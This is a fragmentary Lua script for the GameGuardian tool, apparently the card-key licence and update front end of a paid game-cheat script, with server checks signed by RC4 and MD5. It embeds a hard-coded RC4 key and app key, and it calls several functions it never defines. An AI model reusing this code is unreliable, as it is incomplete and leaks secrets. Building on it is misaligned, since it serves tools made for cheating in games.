local xxxxxxx_Notice=xxxxxxx.."/api.php?api=notice"
--接口名称[应用公告]

local xxxxxxx_RC4=true
--是否 RC4 加密[false=关 true=开] 
--选择 RC4加密-2 否则会乱码 
--打开 签名放DATA里:打开

local xxxxxxx_RC4_key="HyYhY9yGj5H60KZ6"
--是否 RC4 加密[key 密钥]

local xxxxxxx_APPID="11199"
--APPID

local xxxxxxx_APPKEY="5Kfee4CEPOJae9Ay"
--APPKEY

local xxxbanb="1.0"
--1.0

local xxxQQ=""
--作者QQ

if xxxxxxx == "" then
gg.alert("提示:\n 错误")--对话框
os.exit()
end


gg.EXT_FILES_DIR="/storage/emulated/0/Download/"
--保存卡密路径

---[=[   ↑配置  ]=]-------------------------------------------------------------------------------------------------------------------

Notice=ultra(xxxxxxx_Notice.."&app=".. xxxxxxx_APPID,"")

if  xxxxxxx_RC4 == true then 
Notice=RC4(Notice,xxxxxxx_RC4_key,false) 
end

Notice=Notice:match('"app_gg":"(.-)"},')--获取公告
if Notice==nil then
gg.alert("你没购公告接口","确定")--对话框
os.exit() 
else
if Notice~="" then
gg.alert(Notice,"确定")--对话框
end
end

---[=[上面是公告]=]-------------------------------------------------------------------------------------------------------------------


gongxing=ultra(  xxxxxxx_to_configure.."&app=".. xxxxxxx_APPID,"")

if  xxxxxxx_RC4 == true then 
gongxing=RC4(gongxing,xxxxxxx_RC4_key,false) 
end

xxxxbanben=gongxing:match('"version":"(.-)",')--获取版本号
xxxxgxnr=gongxing:match('app_update_show":"(.-)",')--更新内容
xxxxlianjie=gongxing:match('app_update_url":"(.-)","app_update_must')--更新链接

if xxxxbanben==nil then
gg.alert("请检查脚本 \n\n对接链接 或者是 加密 是否开启 \n\n现在出现错误无法使用!\n\n请联系作者:\n"..xxxQQ)--提示
os.exit() 
end

if xxxxbanben==xxxbanb then
gg.toast("最新版本")--提示 
else

bhh=gg.alert("发现新版本，请更新内容 ","开始下载","浏览器更新")--对话框

if bhh == 1 then
xxxxlianjie=gg.makeRequest(xxxxlianjie).content
io.open("/storage/emulated/0/最新版本.lua","w+"):write(xxxxlianjie)--写
gg.setVisible(true)
print("---[=[ 下载成功]=]---------------\n\n[新版本]:\n"..xxxxbanben.."\n\n[更新内容]:\n"..xxxxgxnr.."\n\n[新脚本路径]:\n/storage/emulated/0/最新版本.lua\n")--打印
 elseif bhh == 2 then
gg.setVisible(true)
print("\n[新版本]:\n"..xxxxbanben.."\n\n[更新内容]:\n"..xxxxgxnr.."\n\n[更新链接]:\n"..xxxxlianjie)--打印 end
os.exit() 
end
end


---[=[获取更新↑]=]-------------------------------------------------------------------------------------------------------------------


function yanzzzzz(km,sbm)

key=md5("kami="..km.."&markcode="..sbm.."&t="..os.time().."&".. xxxxxxx_APPKEY)
--计算签名

Random=md5(RC4(os.time().."极简云",xxxxxxx_RC4_key,true)..xxxxxxx_APPKEY..sbm)
--随机[用来计算是否相等]

bops="kami="..km.."&markcode="..sbm.."&t="..os.time().."&sign="..key
--需要请求的数据

if  xxxxxxx_RC4 == true then
bops="data="..RC4(bops,xxxxxxx_RC4_key,true)
end-- 把请求数据用RC4加密

HUT=ultra(xxxxxxx_Kami.."&app=".. xxxxxxx_APPID,bops.."&value="..Random)
--请求数据

if HUT~=nil then
if  xxxxxxx_RC4 == true then
HUT=RC4(HUT,xxxxxxx_RC4_key,false) 
end-- 把返回的数据用RC4解密

qued=HUT:match('code":(.-),')--获取编号 200是成功
vip=HUT:match('vip":"(.-)"},')--获取 卡密时间
yanzen=HUT:match('check":"(.-)"')--获取随机值
tinme=HUT:match('time":(.-),')--获取时间搓
fanhui=HUT:match('msg":"(.-)",')--获取错误

if qued~="200" then
gg.alert(fanhui)--返回错误
io.open(gg.EXT_FILES_DIR.."/km","w"):write("")--写
else

if (tinme-os.time())>10 or (tinme-os.time())<-10 then
gg.setVisible(false)
gg.toast("\n(▔_▔) 数据超时！")
else--时间10小于就跳转

if yanzen~=md5(tinme..xxxxxxx_APPKEY..Random) then
gg.setVisible(false)
gg.toast("\n️(▔_▔) 请不要修改数据！")
else--网络数据是否修改

gg.setVisible(false)
vip1=os.date("%Y".."年".."%m".."月".."%d".."日".."\r".."%H".."时".."%M".."分".."%S".."秒\n",vip)
io.open(gg.EXT_FILES_DIR.."/km","w"):write(km)--写
kll=gg.alert("\n登入成功:\n\n[到期时间]\n"..vip1,"确定","返回")--提示--获取到期时间
if kll==2 then
io.open(gg.EXT_FILES_DIR.."/lko","w"):write("false")--写
oqvqo(xxxxxxx)
end


ab5165ef1c31d3c941d316277d0940844f(vip)--
--登入成功后的动作------------------------------------------------------------------------------------------------------------------


end
end
end
else
gg.setVisible(false)
gg.toast("\n️(▔_▔) 请检查网络！")
end

end


---[=[  卡密登入↑ ]=]-------------------------------------------------------------------------------------------------------------------

function jiebang(km,sbm)
gg.setVisible(false)
key=md5("kami="..km.."&markcode="..sbm.."&t="..os.time().."&".. xxxxxxx_APPKEY)

bops="kami="..km.."&markcode="..sbm.."&t="..os.time().."&sign="..key

if  xxxxxxx_RC4 == true then
bops= "data="..RC4(bops,xxxxxxx_RC4_key,true) 
end


HUT=ultra(xxxxxxx_jieba.."&app=".. xxxxxxx_APPID,bops)

if  xxxxxxx_RC4 == true then
HUT=RC4(HUT,xxxxxxx_RC4_key,false) 
end-- xxxxxxx_Base64

qued=HUT:match('code":(.-),')
fanhui=HUT:match('msg":"(.-)",')
yanzen=HUT:match('check":"(.-)"')
tinme=HUT:match('time":(.-),')
gg.toast(fanhui)

end

---[=[  解绑卡密↑ ]=]-------------------------------------------------------------------------------------------------------------------



rq=os.date("%Y".."年".."%m".."月".."%d".."日".." ".."%H".."时".."%M".."分".."%S".."秒")
local a={}
fien={io.open(gg.EXT_FILES_DIR.."/km","r"),io.open(gg.EXT_FILES_DIR.."/miux","r"),io.open(gg.EXT_FILES_DIR.."/lko","r")}

if fien[1]==nil then
io.open(gg.EXT_FILES_DIR.."/km","w"):write("")--写
a[1]=io.open(gg.EXT_FILES_DIR.."/km","r"):read("*a")--读
else
a[1]=io.open(gg.EXT_FILES_DIR.."/km","r"):read("*a")--读
end--fien[1]--卡密

if fien[2]==nil then
io.open(gg.EXT_FILES_DIR.."/miux","w"):write(md5(rq))--写
a[2]=io.open(gg.EXT_FILES_DIR.."/miux","r"):read("*a")--读
else
a[2]=io.open(gg.EXT_FILES_DIR.."/miux","r"):read("*a")--读
end--fien[2]--机器码

fien2=io.open(gg.EXT_FILES_DIR.."/miux","r"):read("*a")--读
if fien2=="" then
io.open(gg.EXT_FILES_DIR.."/miux","w"):write(md5(rq))--写
fien2=io.open(gg.EXT_FILES_DIR.."/miux","r"):read("*a")--读
a[2]=fien2
end

if fien[3]==nil then
io.open(gg.EXT_FILES_DIR.."/lko","w"):write("false")--写
a[3]=io.open(gg.EXT_FILES_DIR.."/lko","r"):read("*a")--读
else
a[3]=io.open(gg.EXT_FILES_DIR.."/lko","r"):read("*a")--读
end--fien[2]--机器码

fien3=io.open(gg.EXT_FILES_DIR.."/lko","r"):read("*a")--读
if fien3=="" then
io.open(gg.EXT_FILES_DIR.."/lko","w"):write("false")--写
fien3=io.open(gg.EXT_FILES_DIR.."/lko","r"):read("*a")--读
a[3]=fien3
end

sbm=a[2]--设备码
km=a[1]--卡密

--判定自动登入
if a[3]=="true" then
a[3]=true
elseif a[3]=="false" then
a[3]=false
end



if a[3]==true then
yanzzzzz(a[1],sbm)
end


hak=gg.prompt({
'\n现在时间:'..rq.."\n请输入卡密：",
"[自动登入]"
},{
km,
a[3]
},{
'text',--文字
'checkbox',--多选
})--文本功能



if hak==nil then
gg.setVisible(false)
gg.toast("取消……")--提示
elseif hak[9545484]=="649494545" then---[=[ ↓解绑  ]=]-------------------------------------------------------------------------------------------------------------------

gg.toast("开始解绑卡密……")--提示
hak2=gg.prompt({
'现在时间:'..rq.."\n请输入解绑卡密："
},{
},{
'text',--文字
})--文本功能

if hak2==nil then
gg.setVisible(false)
gg.toast("取消……")--提示
else
jiebang(hak2[1],sbm)
---[=[  ↑ 输入卡密跳转解绑卡密  ]=]-------------------------------------------------------------------------------------------------------------------
end

elseif hak[1]=="2" then ---[=[  ↓ 邮箱反馈 ]=]-------------------------------------------------------------------------------------------------------------------
b=gg.prompt({
"联系方式(QQ或网名,手机号等)",
"反馈内容",
"取消就是[返回主页面]",
},{
"",
"",
true
},{
'text',
'text',
'checkbox',
})

if b ==nil then
gg.setVisible(false)
gg.toast("取消……")--提示
else
if b[1] ~= "" then
if b[2] ~= "" then
bh="&name="..b[1].."&certno="..b[2]
b=gg.makeRequest(xxxxxxx.."/api/mail/api.php?address="..xxxQQ.."@qq.com"..bh)
if b.code=="200" then
gg.alert("反馈成功[谢谢你的支持]")
else
gg.alert("反馈失败")
end
else
gg.alert("空内容")
end
else
gg.alert("空联系方式")
end
end

---[=[ ↘你们可以自己加购卡 加群什么的  ]=]-------------------------------------------------------------------------------------------------------------------
--elseif hak[1]=="3" then 输入3 干啥干啥





else---[=[  ↓卡密登入  ]=]-------------------------------------------------------------------------------------------------------------------

if hak[2]==true then
io.open(gg.EXT_FILES_DIR.."/lko","w"):write("true")--写
elseif hak[2]==false then
io.open(gg.EXT_FILES_DIR.."/lko","w"):write("false")--写
end

yanzzzzz(hak[1],sbm)
---[=[  ↑ 输入卡密跳转登入卡密  ]=]-------------------------------------------------------------------------------------------------------------------
end
gg.setVisible(false)
end


while true do
  if gg.isVisible(true) then
  cu()
  end
end
